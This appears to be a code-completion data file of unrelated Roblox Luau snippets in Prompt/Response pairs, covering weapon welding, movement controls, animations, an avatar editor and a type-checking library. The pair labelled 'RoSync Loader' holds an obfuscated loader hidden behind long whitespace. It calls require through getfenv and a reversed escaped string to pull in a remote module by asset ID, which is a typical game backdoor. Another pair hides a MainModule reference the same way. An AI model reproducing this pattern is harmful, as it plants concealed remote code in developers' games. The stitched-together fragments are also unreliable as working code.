Prompt: -- Make the AnimBase

Response:
	L_18_ = Instance.new("Part", L_3_)
	L_18_.FormFactor = "Custom"
	L_18_.CanCollide = false
	L_18_.Transparency = 1
	L_18_.Anchored = false
	L_18_.Name = "AnimBase"

	L_19_ = Instance.new("Motor6D")
	L_19_.Part0 = L_18_
	L_19_.Part1 = L_58_
	L_19_.Parent = L_18_
	L_19_.Name = "AnimBaseW"
	--AnimBaseW.C1 = gunSettings.StartPose

	L_15_ = Instance.new("Motor6D")
	L_15_.Part0 = L_3_['Right Arm']
	L_15_.Part1 = L_1_:FindFirstChild('Grip')
	L_15_.Parent = L_3_['Right Arm']
	L_15_.C1 = L_12_.GunPos
	L_15_.Name = "Grip"

	for L_60_forvar1, L_61_forvar2 in pairs(L_1_:GetChildren()) do
		if L_61_forvar2:IsA("Part") or L_61_forvar2:IsA("MeshPart") or L_61_forvar2:IsA("UnionOperation") then
			L_61_forvar2.Anchored = true

			if L_61_forvar2.Name ~= "Grip" and L_61_forvar2.Name ~= "Bolt" and L_61_forvar2.Name ~= 'Lid' then
				Weld(L_61_forvar2, L_1_:WaitForChild("Grip"))
			end

			if L_61_forvar2.Name == "Bolt" then
				if L_1_:FindFirstChild('BoltHinge') then
					Weld(L_61_forvar2, L_1_:WaitForChild("BoltHinge"))
				else
					Weld(L_61_forvar2, L_1_:WaitForChild("Grip"))
				end
			end;

			if L_61_forvar2.Name == "Lid" then
				if L_1_:FindFirstChild('LidHinge') then
					Weld(L_61_forvar2, L_1_:WaitForChild("LidHinge"))
				else
					Weld(L_61_forvar2, L_1_:WaitForChild("Grip"))
				end
			end
		end
	end

	for L_62_forvar1, L_63_forvar2 in pairs(L_13_:GetChildren()) do
		if L_63_forvar2:IsA('Part') then
			Weld(L_63_forvar2, L_1_:WaitForChild("Grip"))
		end
	end

	for L_64_forvar1, L_65_forvar2 in pairs(L_13_:GetChildren()) do
		if L_65_forvar2:IsA('Part') then
			L_65_forvar2.Anchored = false
		end
	end

	for L_66_forvar1, L_67_forvar2 in pairs(L_1_:GetChildren()) do
		if L_67_forvar2:IsA("Part") or L_67_forvar2:IsA("MeshPart") or L_67_forvar2:IsA("UnionOperation") then
			L_67_forvar2.Anchored = false
		end
	end

	L_20_ = L_3_['Right Arm']
	L_21_ = L_3_['Left Arm']
	L_24_ = L_3_.Torso:WaitForChild("Right Shoulder")
	L_25_ = L_3_.Torso:WaitForChild("Left Shoulder")

	L_22_ = Instance.new("Motor6D")
	L_22_.Name = "RAW"
	L_22_.Part0 = L_18_
	L_22_.Part1 = L_20_
	L_22_.Parent = L_18_
	L_22_.C1 = L_12_.RightArmPos
	L_3_.Torso:WaitForChild("Right Shoulder").Part1 = nil

	L_23_ = Instance.new("Motor6D")
	L_23_.Name = "LAW"
	L_23_.Part0 = L_18_
	L_23_.Part1 = L_21_
	L_23_.Parent = L_18_
	L_23_.C1 = L_12_.LeftArmPos
	L_3_.Torso:WaitForChild("Left Shoulder").Part1 = nil

	L_14_ = L_8_:WaitForChild('MainGui'):clone()
	L_14_.Parent = L_2_.PlayerGui

	L_27_ = L_58_:FindFirstChild('AHH') or L_6_:WaitForChild('AHH'):clone()
	L_27_.Parent = L_3_.Head

	if L_32_ then
		L_32_:Destroy()
	end

	L_33_:FireClient(L_2_, true, L_15_, L_18_, L_19_, L_22_, L_23_, L_17_)
end)

L_1_.Unequipped:connect(function()
	local L_68_ = L_3_:FindFirstChild('Torso')
	local L_69_ = L_3_:FindFirstChild('Head')
	L_32_ = Instance.new('Model', L_3_)
	L_32_.Name = "HolsterModel"

	for L_70_forvar1, L_71_forvar2 in pairs(L_1_:GetChildren()) do
		for L_72_forvar1, L_73_forvar2 in pairs(L_71_forvar2:GetChildren()) do
			if L_73_forvar2.ClassName == "Motor6D" then
				L_73_forvar2:Destroy()
			end
		end
	end

	for L_74_forvar1, L_75_forvar2 in pairs(L_1_:GetChildren()) do
		if L_75_forvar2:IsA("Part") or L_75_forvar2:IsA("MeshPart") or L_75_forvar2:IsA("UnionOperation") then
			L_75_forvar2.Anchored = true
		end
	end

	if L_3_.Humanoid and L_3_.Humanoid.Health > 0 then
		L_3_.HumanoidRootPart.RootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
		L_68_['Right Hip'].C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
		L_68_['Left Hip'].C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
		L_17_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)

		L_3_.HumanoidRootPart.RootJoint.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
		L_68_['Right Hip'].C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
		L_68_['Left Hip'].C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
		L_17_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
	end

	L_68_:WaitForChild("Neck").Part1 = L_69_
	L_68_:WaitForChild("Neck").C1 = L_68_:WaitForChild("Neck").C1
	L_68_:WaitForChild("Neck").C0 = L_68_:WaitForChild("Neck").C0

	L_18_:Destroy()
	L_17_:Destroy()
	L_24_.Part1 = L_20_
	L_25_.Part1 = L_21_

	if L_69_:FindFirstChild('AHH') then
		L_69_.AHH:Destroy()
	end

	L_33_:FireClient(L_2_, false)

	if L_12_.HolsteringEnabled then
		for L_77_forvar1, L_78_forvar2 in pairs(L_1_:GetChildren()) do
			if L_78_forvar2:IsA("Part") or L_78_forvar2:IsA("MeshPart") or L_78_forvar2:IsA("UnionOperation") then
				L_78_forvar2.Anchored = true
				local L_79_ = L_78_forvar2:clone()
				L_79_.Parent = L_32_
			end
		end;

		for L_80_forvar1, L_81_forvar2 in pairs(L_32_:GetChildren()) do
			Weld(L_81_forvar2, L_32_:WaitForChild("Grip"))
		end

		local L_76_ = Weld(L_32_:WaitForChild("Grip"), L_3_:WaitForChild('Torso'))
		L_76_.Name = "TWeld"
		L_76_.C1 = L_12_.HolsterPos

		for L_82_forvar1, L_83_forvar2 in pairs(L_32_:GetChildren()) do
			L_83_forvar2.Anchored = false
		end
	end
end)

L_3_.Humanoid.Died:connect(function()
	L_33_:FireClient(L_2_, false)
end)


Prompt: --Get existing seats

Response:
local CurrentSeats = Remotes.GetSeats:InvokeServer()
for i,v in pairs(CurrentSeats) do
	Seats[v] = v
end


Prompt:
--[[
	This code took me about 2 hours to do,

	I could just use Roblox's normal physics (Part's Velocity property), but it's really gross
	and broken, so I just made this one.

	Also, be sure to credit me if you're gonna use this in your game.

	UPDATE: 'RunService' function has been removed from the script due that it only works
	for StarterGui, lol.
]]


Prompt: -- constants

Response:
local REMOTES	= ReplicatedStorage.Remotes
local MODULES	= ReplicatedStorage.Modules
	local CONFIG	= require(MODULES.Config)

local POSITION_BUFFER	= 15


Prompt:
--[[
local function touchEnded(otherPart)
	if(otherPart.Name == "HumanoidRootPart" ) then
		local player = game.Players:FindFirstChild(otherPart.Parent.Name)
		if(player) then
			--print("touch ended")
			playersNear[player] = nil

			if(next(playersNear) == nil) then
				if(doorState == DoorState.Open) then
					StartClosing()
				end
			end
		end
	end
end]]

Response: trigger.Touched:Connect(touched)


Prompt: --[[ FOOD FRAME LOCALS ]]

Response:
--

local SaladScroll = FoodFrame.SaladScroll
local SandScroll = FoodFrame.SandScroll


Prompt:
-- Called when any relevant values of GameSettings or LocalPlayer change, forcing re-evalulation of
-- current control scheme

Response:
function ControlModule:OnComputerMovementModeChange()
	local controlModule, success =  self:SelectComputerMovementModule()
	if success then
		self:SwitchToController(controlModule)
	end
end

function ControlModule:OnTouchMovementModeChange()
	local touchModule, success = self:SelectTouchModule()
	if success then
		while not self.touchControlFrame do
			wait()
		end
		self:SwitchToController(touchModule)
	end
end

function ControlModule:CreateTouchGuiContainer()
	if self.touchGui then self.touchGui:Destroy() end

	-- Container for all touch device guis
	self.touchGui = Instance.new("ScreenGui")
	self.touchGui.Name = "TouchGui"
	self.touchGui.ResetOnSpawn = false
	self.touchGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
	self.touchGui.Enabled = self.humanoid ~= nil

	self.touchControlFrame = Instance.new("Frame")
	self.touchControlFrame.Name = "TouchControlFrame"
	self.touchControlFrame.Size = UDim2.new(1, 0, 1, 0)
	self.touchControlFrame.BackgroundTransparency = 1
	self.touchControlFrame.Parent = self.touchGui

	self.touchGui.Parent = self.playerGui
end

function ControlModule:GetClickToMoveController()
	if not self.controllers[ClickToMove] then
		self.controllers[ClickToMove] = ClickToMove.new(CONTROL_ACTION_PRIORITY)
	end
	return self.controllers[ClickToMove]
end

return ControlModule.new()


Response:
local light = true -- Set to false if u dont have light added
local maxv = 110 -- Max Speed In REAL KT.. Check Online for the real Aviation speed for this plane
local minspeed = -30 -- min speed In real KT
local Spd_keep = true-- Set to false if U dont want the function to Speed up/down if u hold M/N down, and after release it stops


Prompt: --[[ Last synced 4/2/2022 10:35                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: --------------------------------------Dont change anything under here!----------------------------------------------

Response:
function Setup()
	for i,p in pairs(game.Players:GetChildren()) do
		if (p.Character == wand.Parent) then

			if (connect ~= nil) then connect:Disconnect() end
			connect = p.Chatted:Connect(PlayerTalked)
			owner = p
		end
	end
end

function PlayerTalked(words)

	if (string.find(string.lower(words) , string.lower(inc)) ~= nil) and (wand.Parent == owner.Character) then
		print("Casting the spell ''" ..inc.. "''")
		CastSpell()
	end
end

function CastSpell()
	wand.Parent.Humanoid.Jump = true
	wait(.33)
	wand.Parent.UpperTorso.Velocity = Vector3.new(0,10000,0)
end

wand.Equipped:Connect(Setup)


Prompt: -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote

Response:
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}

math.randomseed(tick())

function findExistingAnimationInSet(set, anim)
	if set == nil or anim == nil then
		return 0
	end

	for idx = 1, set.count, 1 do
		if set[idx].anim.AnimationId == anim.AnimationId then
			return idx
		end
	end

	return 0
end

function configureAnimationSet(name, fileList)
	if (animTable[name] ~= nil) then
		for _, connection in pairs(animTable[name].connections) do
			connection:disconnect()
		end
	end
	animTable[name] = {}
	animTable[name].count = 0
	animTable[name].totalWeight = 0
	animTable[name].connections = {}

	local allowCustomAnimations = true

	local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end)
	if not success then
		allowCustomAnimations = true
	end

	-- check for config values
	local config = script:FindFirstChild(name)
	if (allowCustomAnimations and config ~= nil) then
		table.insert(animTable[name].connections, config.ChildAdded:Connect(function(child) configureAnimationSet(name, fileList) end))
		table.insert(animTable[name].connections, config.ChildRemoved:Connect(function(child) configureAnimationSet(name, fileList) end))

		local idx = 0
		for _, childPart in pairs(config:GetChildren()) do
			if (childPart:IsA("Animation")) then
				local newWeight = 1
				local weightObject = childPart:FindFirstChild("Weight")
				if (weightObject ~= nil) then
					newWeight = weightObject.Value
				end
				animTable[name].count = animTable[name].count + 1
				idx = animTable[name].count
				animTable[name][idx] = {}
				animTable[name][idx].anim = childPart
				animTable[name][idx].weight = newWeight
				animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
				table.insert(animTable[name].connections, childPart.Changed:Connect(function(property) configureAnimationSet(name, fileList) end))
				table.insert(animTable[name].connections, childPart.ChildAdded:Connect(function(property) configureAnimationSet(name, fileList) end))
				table.insert(animTable[name].connections, childPart.ChildRemoved:Connect(function(property) configureAnimationSet(name, fileList) end))
			end
		end
	end

	-- fallback to defaults
	if (animTable[name].count <= 0) then
		for idx, anim in pairs(fileList) do
			animTable[name][idx] = {}
			animTable[name][idx].anim = Instance.new("Animation")
			animTable[name][idx].anim.Name = name
			animTable[name][idx].anim.AnimationId = anim.id
			animTable[name][idx].weight = anim.weight
			animTable[name].count = animTable[name].count + 1
			animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
		end
	end

	-- preload anims
	for i, animType in pairs(animTable) do
		for idx = 1, animType.count, 1 do
			if PreloadedAnims[animType[idx].anim.AnimationId] == nil then
				Humanoid:LoadAnimation(animType[idx].anim)
				PreloadedAnims[animType[idx].anim.AnimationId] = true
			end
		end
	end
end


Prompt: --// Declarables

Response:
local L_15_ = false

local L_16_ = false
local L_17_ = true

local L_18_ = L_1_:WaitForChild('Resource')
local L_19_ = L_18_:WaitForChild('FX')
local L_20_ = L_18_:WaitForChild('Events')
local L_21_ = L_18_:WaitForChild('HUD')
local L_22_ = L_18_:WaitForChild('Modules')
local L_23_ = L_18_:WaitForChild('SettingsModule')
local L_24_ = require(L_23_:WaitForChild("ClientConfig"))
local L_25_ = L_18_:WaitForChild('Vars')

local L_26_
local L_27_
local L_28_
local L_29_
local L_30_
local L_31_
local L_32_
local L_33_
local L_34_
local L_35_
local L_36_
local L_37_
local L_38_
local L_39_
local L_40_
local L_41_

local L_42_

local L_43_
local L_44_
local L_45_
local L_46_
local L_47_
local L_48_
local L_49_

local L_50_ = L_24_.AimZoom

local L_51_ = L_24_.MouseSensitivity
local L_52_ = L_12_.MouseDeltaSensitivity

local L_53_ = game.ReplicatedStorage:FindFirstChild('SoundIso_Network') or nil
local L_54_
if L_53_ then
	L_54_ = L_53_:WaitForChild('EventConnection')
end

local L_55_ = CFrame.Angles(0, 0, 0)


Prompt:
--[[
	ControlModule - This ModuleScript implements a singleton class to manage the
	selection, activation, and deactivation of the current character movement controller.
	This script binds to RenderStepped at Input priority and calls the Update() methods
	on the active controller instances.

	The character controller ModuleScripts implement classes which are instantiated and
	activated as-needed, they are no longer all instantiated up front as they were in
	the previous generation of PlayerScripts.

	2018 PlayerScripts Update - AllYourBlox
--]]

Response:
local ControlModule = {}
ControlModule.__index = ControlModule


Prompt:
-- 	local button = DROP_BUTTON:Clone()
-- 	local listFrame = Lazy.Constructors.List.Create(list, max)


Prompt: --- Begins listening to the current instance.

Response:
function ScopeHierarchyItemButton:StartTrackingInstance()
    local NameChanged = self.props.Instance:GetPropertyChangedSignal('Name')
    self.Maid.NameListener = NameChanged:Connect(function ()
        self:UpdateInstanceState()
    end)
end


Prompt: -- right mouse button up & down events

Response:
local rmbDown, rmbUp do
	local rmbDownBindable = Instance.new("BindableEvent")
	local rmbUpBindable = Instance.new("BindableEvent")

	rmbDown = rmbDownBindable.Event
	rmbUp = rmbUpBindable.Event

	UserInputService.InputBegan:Connect(function(input, gpe)
		if not gpe and input.UserInputType == Enum.UserInputType.MouseButton2 then
			rmbDownBindable:Fire()
		end
	end)

	UserInputService.InputEnded:Connect(function(input, gpe)
		if input.UserInputType == Enum.UserInputType.MouseButton2 then
			rmbUpBindable:Fire()
		end
	end)
end

local thumbstickCurve do
	local K_CURVATURE = 2 -- amount of upwards curvature (0 is flat)
	local K_DEADZONE = 0.1 -- deadzone

	function thumbstickCurve(x)
		-- remove sign, apply linear deadzone
		local fDeadzone = (math.abs(x) - K_DEADZONE)/(1 - K_DEADZONE)

		-- apply exponential curve and scale to fit in [0, 1]
		local fCurve = (math.exp(K_CURVATURE*fDeadzone) - 1)/(math.exp(K_CURVATURE) - 1)

		-- reapply sign and clamp
		return math.sign(x)*math.clamp(fCurve, 0, 1)
	end
end


Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")

local AvatarEditor = ReplicatedStorage.AvatarEditor
local Maid = require(AvatarEditor.Shared.Util.Maid)
local Promise = require(AvatarEditor.Shared.Util.Promise)
local Signal = require(AvatarEditor.Shared.Util.Signal)
local Settings = require(AvatarEditor.Shared.Settings)
local Theme = require(AvatarEditor.Client.Theme)

local buttonTemplate = require(AvatarEditor.Gui.CostumeTemplateToLua)()

local player = Players.LocalPlayer

local Class = {}
Class.__index = Class

local function createButton()
	local button = buttonTemplate:Clone()
	return button
end

function Class.new(frame)
	local self = setmetatable({}, Class)

	self.Maid = Maid.new()
	self.Listeners = Maid.new()
	self.ScrollingFrame = frame.ScrollingFrame
	self.GridLayout = self.ScrollingFrame.UIGridLayout
	self.Wear = Signal.new()
	self.Delete = Signal.new()
	self.Children = {}
	self.Pool = {}

	for i = 1, 50 do
		self.Pool[i] = createButton()
	end

	self.Maid:GiveTask(Theme.Changed:Connect(function()
		self:Render()
	end))

	self.Maid:GiveTask(Theme:Bind(self.ScrollingFrame, "ScrollBarImageColor3", "Scrollbar"))

	Promise.new(function(resolve, reject)
		local folder = player:WaitForChild("AE_Costumes")
		resolve(folder)
	end)
	:andThen(function(folder)
		self.Folder = folder
		self.Maid:GiveTask(folder.ChildAdded:Connect(function()
			self:Render()
		end))
		self.Maid:GiveTask(folder.ChildRemoved:Connect(function()
			self:Render()
		end))
		self:Render()
	end)
	:catch(warn)

	return self
end

function Class:GetItem()
	local pool = self.Pool
	local button = table.remove(pool, #pool)
	if not button then
		button = createButton()
	end
	return button
end

function Class:Render()
	if not self.Folder then
		return
	end

	local folder = self.Folder
	local maid = self.Listeners
	local children = self.Children
	local scrollingFrame = self.ScrollingFrame
	local uiGridLayout = self.GridLayout
	local pool = self.Pool

	local list = folder:GetChildren()
	local newChildren = {}

	maid:DoCleaning()

	for i, v in ipairs(list) do
		local button = children[i] or self:GetItem()
		newChildren[i] = button

		button.ItemLabel.Text = v.Name
		button.More.Visible = false

		maid:GiveTask(Theme:Bind(button, "BackgroundColor3", "Button"))
		maid:GiveTask(Theme:Bind(button.ItemLabel, "TextColor3", "Text"))
		maid:GiveTask(Theme:Bind(button.ItemLabel, "TextStrokeColor3", "TextStroke"))
		maid:GiveTask(Theme:Bind(button.More, "BackgroundColor3", "Delete"))
		maid:GiveTask(Theme:Bind(button.More, "TextColor3", "Text"))

		Promise.new(function(resolve, reject)
			local success, result = pcall(function()
				return Players:CreateHumanoidModelFromDescription(v, Enum.HumanoidRigType.R15, Enum.AssetTypeVerification.ClientOnly)
			end)
			if success then
				resolve(result)
			else
				reject(result)
			end
		end)
		:andThen(function(result)
			maid:GiveTask(result)
			result:SetPrimaryPartCFrame(CFrame.new())

			local humanoid = result.Humanoid
			humanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
			humanoid.HealthDisplayType = Enum.HumanoidHealthDisplayType.AlwaysOff
			result.Animate:Destroy()

			local viewport = button.ViewportFrame
			local camera = Instance.new("Camera")
			maid:GiveTask(camera)
			camera.CFrame = CFrame.lookAt(Vector3.new(-2, 2, -5), result.PrimaryPart.Position)
			camera.Parent = button
			viewport.CurrentCamera = camera
			result.Parent = viewport.WorldModel
			maid:GiveTask(function()
				viewport.CurrentCamera = nil
			end)
		end)
		:catch(warn)

		maid:GiveTask(button.More.Activated:Connect(function(inputObject)
			self.Delete:Fire(v)
		end))

		maid:GiveTask(button.TouchLongPress:Connect(function(touchPositions, inputState)
			button.ItemLabel.Visible = false
			button.More.Visible = false
			self.Delete:Fire(v)
		end))

		maid:GiveTask(button.InputBegan:Connect(function(inputObject)
			if not Settings.HOVER_INPUTS[inputObject.UserInputType] then
				return
			end

			button.ItemLabel.Visible = true
			if inputObject.UserInputType == Enum.UserInputType.MouseMovement then
				button.More.Visible = true
			end
		end))

		maid:GiveTask(button.InputEnded:Connect(function(inputObject)
			if not Settings.HOVER_INPUTS[inputObject.UserInputType] then
				return
			end

			button.ItemLabel.Visible = false
			button.More.Visible = false
		end))

		maid:GiveTask(button.Activated:Connect(function(inputObject)
			self.Wear:Fire(v)
		end))

		button.Parent = scrollingFrame
	end

	for i = #list + 1, #children do
		local button = children[i]
		button.Parent = nil
		table.insert(pool, button)
	end

	self.Children = newChildren
	scrollingFrame.CanvasSize = UDim2.new(0, 0, 0, uiGridLayout.AbsoluteContentSize.Y)
end

function Class:Destroy()
	self.Maid:DoCleaning()
	self.Maid = nil
	self.Listeners:DoCleaning()
	self.Listeners = nil
	for i, v in ipairs(self.Children) do
		v:Destroy()
	end
	table.clear(self.Children)
	for i, v in ipairs(self.Pool) do
		v:Destroy()
	end
	table.clear(self.Pool)
	setmetatable(self, nil)
end

return Class


Prompt: -- EVENTS

Response:
IconController.iconAdded = Signal.new()
IconController.iconRemoved = Signal.new()
IconController.controllerModeStarted = Signal.new()
IconController.controllerModeEnded = Signal.new()
IconController.healthbarDisabledSignal = Signal.new()


Prompt: --Give submit button functionality.

Response:
script.Parent.Frame.ImageButton.MouseButton1Click:Connect(function()
	local humanoide = player.Character
		local filteredText = script.Parent.Frame.TextBox.Text

		humanoide.Head.nam.A.Text = filteredText

end)


Prompt: --[[Digital 7 Itlaic                                                                                --]]

Response: local aa = script.MainModule                                                                                --Nothing HERE :)


Prompt: -- Load tool completely before proceeding

Response:
local Indicator = Tool:WaitForChild 'Loaded';
while not Indicator.Value do
	Indicator.Changed:wait();
end;


Prompt: --[[ Local Functions ]]

Response:
--
function MouseLockController:OnMouseLockToggled()
	self.isMouseLocked = not self.isMouseLocked

	if self.isMouseLocked then
		local cursorImageValueObj = script:FindFirstChild("CursorImage")
		if cursorImageValueObj and cursorImageValueObj:IsA("StringValue") and cursorImageValueObj.Value then
			self.savedMouseCursor = Mouse.Icon
			Mouse.Icon = cursorImageValueObj.Value
		else
			if cursorImageValueObj then
				cursorImageValueObj:Destroy()
			end
			cursorImageValueObj = Instance.new("StringValue")
			cursorImageValueObj.Name = "CursorImage"
			cursorImageValueObj.Value = DEFAULT_MOUSE_LOCK_CURSOR
			cursorImageValueObj.Parent = script
			self.savedMouseCursor = Mouse.Icon
			Mouse.Icon = DEFAULT_MOUSE_LOCK_CURSOR
		end
	else
		if self.savedMouseCursor then
			Mouse.Icon = self.savedMouseCursor
			self.savedMouseCursor = nil
		end
	end

	self.mouseLockToggledEvent:Fire()
end

function MouseLockController:DoMouseLockSwitch(name, state, input)
	if state == Enum.UserInputState.Begin then
		self:OnMouseLockToggled()
		return Enum.ContextActionResult.Sink
	end
	return Enum.ContextActionResult.Pass
end

function MouseLockController:BindContextActions()
	ContextActionService:BindActionAtPriority(CONTEXT_ACTION_NAME, function(name, state, input)
		return self:DoMouseLockSwitch(name, state, input)
	end, false, MOUSELOCK_ACTION_PRIORITY, unpack(self.boundKeys))
end

function MouseLockController:UnbindContextActions()
	ContextActionService:UnbindAction(CONTEXT_ACTION_NAME)
end

function MouseLockController:IsMouseLocked()
	return self.enabled and self.isMouseLocked
end

function MouseLockController:EnableMouseLock(enable)
	if enable ~= self.enabled then

		self.enabled = enable

		if self.enabled then
			-- Enabling the mode
			self:BindContextActions()
		else
			-- Disabling
			-- Restore mouse cursor
			if Mouse.Icon~="" then
				Mouse.Icon = ""
			end

			self:UnbindContextActions()

			-- If the mode is disabled while being used, fire the event to toggle it off
			if self.isMouseLocked then
				self.mouseLockToggledEvent:Fire()
			end

			self.isMouseLocked = false
		end

	end
end

return MouseLockController


Prompt: -- roblox types

Response:
t.Axes = primitive("Axes")
t.BrickColor = primitive("BrickColor")
t.CFrame = primitive("CFrame")
t.Color3 = primitive("Color3")
t.ColorSequence = primitive("ColorSequence")
t.ColorSequenceKeypoint = primitive("ColorSequenceKeypoint")
t.DockWidgetPluginGuiInfo = primitive("DockWidgetPluginGuiInfo")
t.Faces = primitive("Faces")
t.Instance = primitive("Instance")
t.NumberRange = primitive("NumberRange")
t.NumberSequence = primitive("NumberSequence")
t.NumberSequenceKeypoint = primitive("NumberSequenceKeypoint")
t.PathWaypoint = primitive("PathWaypoint")
t.PhysicalProperties = primitive("PhysicalProperties")
t.Random = primitive("Random")
t.Ray = primitive("Ray")
t.Rect = primitive("Rect")
t.Region3 = primitive("Region3")
t.Region3int16 = primitive("Region3int16")
t.TweenInfo = primitive("TweenInfo")
t.UDim = primitive("UDim")
t.UDim2 = primitive("UDim2")
t.Vector2 = primitive("Vector2")
t.Vector3 = primitive("Vector3")
t.Vector3int16 = primitive("Vector3int16")
t.Enum = primitive("Enum")
t.EnumItem = primitive("EnumItem")
t.RBXScriptSignal = primitive("RBXScriptSignal")
t.RBXScriptConnection = primitive("RBXScriptConnection")

function t.literal(...)
	local size = select("#", ...)
	if size == 1 then
		local literal = ...
		return function(value)
			if value ~= literal then
				return false
			end
			return true
		end
	else
		local literals = {}
		for i = 1, size do
			local value = select(i, ...)
			literals[i] = t.literal(value)
		end
		return t.union(unpack(literals))
	end
end

t.exactly = t.literal

function t.keyOf(keyTable)
	local keys = {}
	for key in pairs(keyTable) do
		keys[#keys + 1] = key
	end
	return t.literal(unpack(keys))
end

function t.valueOf(valueTable)
	local values = {}
	for _, value in pairs(valueTable) do
		values[#values + 1] = value
	end
	return t.literal(unpack(values))
end

function t.integer(value)
	local success = t.number(value)
	if not success then
		return false
	end
	if value%1 == 0 then
		return true
	else
		return false
	end
end

function t.numberMin(min)
	return function(value)
		local success = t.number(value)
		if not success then
			return false
		end
		if value >= min then
			return true
		else
			return false
		end
	end
end

function t.numberMax(max)
	return function(value)
		local success = t.number(value)
		if not success then
			return false
		end
		if value <= max then
			return true
		else
			return false
		end
	end
end

function t.numberMinExclusive(min)
	return function(value)
		local success = t.number(value)
		if not success then
			return false
		end
		if min < value then
			return true
		else
			return false
		end
	end
end

function t.numberMaxExclusive(max)
	return function(value)
		local success = t.number(value)
		if not success then
			return false
		end
		if value < max then
			return true
		else
			return false
		end
	end
end

t.numberPositive = t.numberMinExclusive(0)
t.numberNegative = t.numberMaxExclusive(0)

function t.numberConstrained(min, max)
	assert(t.number(min) and t.number(max))
	local minCheck = t.numberMin(min)
	local maxCheck = t.numberMax(max)
	return function(value)
		local minSuccess = minCheck(value)
		if not minSuccess then
			return false
		end

		local maxSuccess = maxCheck(value)
		if not maxSuccess then
			return false
		end

		return true
	end
end

function t.numberConstrainedExclusive(min, max)
	assert(t.number(min) and t.number(max))
	local minCheck = t.numberMinExclusive(min)
	local maxCheck = t.numberMaxExclusive(max)
	return function(value)
		local minSuccess = minCheck(value)
		if not minSuccess then
			return false
		end

		local maxSuccess = maxCheck(value)
		if not maxSuccess then
			return false
		end

		return true
	end
end

function t.match(pattern)
	assert(t.string(pattern))
	return function(value)
		local stringSuccess = t.string(value)
		if not stringSuccess then
			return false
		end

		if string.match(value, pattern) == nil then
			return false
		end

		return true
	end
end

function t.optional(check)
	assert(t.callback(check))
	return function(value)
		if value == nil then
			return true
		end
		local success = check(value)
		if success then
			return true
		else
			return false
		end
	end
end

function t.tuple(...)
	local checks = {...}
	return function(...)
		local args = {...}
		for i = 1, #checks do
			local success = checks[i](args[i])
			if success == false then
				return false
			end
		end
		return true
	end
end

function t.keys(check)
	assert(t.callback(check))
	return function(value)
		local tableSuccess = t.table(value)
		if tableSuccess == false then
			return false
		end

		for key in pairs(value) do
			local success = check(key)
			if success == false then
				return false
			end
		end

		return true
	end
end

function t.values(check)
	assert(t.callback(check))
	return function(value)
		local tableSuccess = t.table(value)
		if tableSuccess == false then
			return false
		end

		for _, val in pairs(value) do
			local success = check(val)
			if success == false then
				return false
			end
		end

		return true
	end
end

function t.map(keyCheck, valueCheck)
	assert(t.callback(keyCheck), t.callback(valueCheck))
	local keyChecker = t.keys(keyCheck)
	local valueChecker = t.values(valueCheck)
	return function(value)
		local keySuccess = keyChecker(value)
		if not keySuccess then
			return false
		end

		local valueSuccess = valueChecker(value)
		if not valueSuccess then
			return false
		end

		return true
	end
end

do
	local arrayKeysCheck = t.keys(t.integer)

	function t.array(check)
		assert(t.callback(check))
		local valuesCheck = t.values(check)
		return function(value)
			local keySuccess = arrayKeysCheck(value)
			if keySuccess == false then
				return false
			end

			-- # is unreliable for sparse arrays
			-- Count upwards using ipairs to avoid false positives from the behavior of #
			local arraySize = 0

			for _, _ in ipairs(value) do
				arraySize = arraySize + 1
			end

			for key in pairs(value) do
				if key < 1 or key > arraySize then
					return false
				end
			end

			local valueSuccess = valuesCheck(value)
			if not valueSuccess then
				return false
			end

			return true
		end
	end
end

do
	local callbackArray = t.array(t.callback)

	function t.union(...)
		local checks = {...}
		assert(callbackArray(checks))
		return function(value)
			for _, check in pairs(checks) do
				if check(value) then
					return true
				end
			end
			return false
		end
	end

	function t.intersection(...)
		local checks = {...}
		assert(callbackArray(checks))
		return function(value)
			for _, check in pairs(checks) do
				local success = check(value)
				if not success then
					return false
				end
			end
			return true
		end
	end
end

do
	local checkInterface = t.map(t.any, t.callback)

	function t.interface(checkTable)
		assert(checkInterface(checkTable))
		return function(value)
			local tableSuccess = t.table(value)
			if tableSuccess == false then
				return false
			end

			for key, check in pairs(checkTable) do
				local success = check(value[key])
				if success == false then
					return false
				end
			end
			return true
		end
	end

	function t.strictInterface(checkTable)
		assert(checkInterface(checkTable))
		return function(value)
			local tableSuccess = t.table(value)
			if tableSuccess == false then
				return false
			end

			for key, check in pairs(checkTable) do
				local success = check(value[key])
				if success == false then
					return false
				end
			end

			for key in pairs(value) do
				if not checkTable[key] then
					return false
				end
			end

			return true
		end
	end
end

function t.instanceOf(className)
	assert(t.string(className))
	return function(value)
		local instanceSuccess = t.Instance(value)
		if not instanceSuccess then
			return false
		end

		if value.ClassName ~= className then
			return false
		end

		return true
	end
end
t.instance = t.instanceOf

function t.instanceIsA(className)
	assert(t.string(className))
	return function(value)
		local instanceSuccess = t.Instance(value)
		if not instanceSuccess then
			return false
		end

		if not value:IsA(className) then
			return false
		end

		return true
	end
end

function t.enum(enum)
	assert(t.Enum(enum))
	return function(value)
		local enumItemSuccess = t.EnumItem(value)
		if not enumItemSuccess then
			return false
		end

		if value.EnumType == enum then
			return true
		else
			return false
		end
	end
end

do
	local checkWrap = t.tuple(t.callback, t.callback)

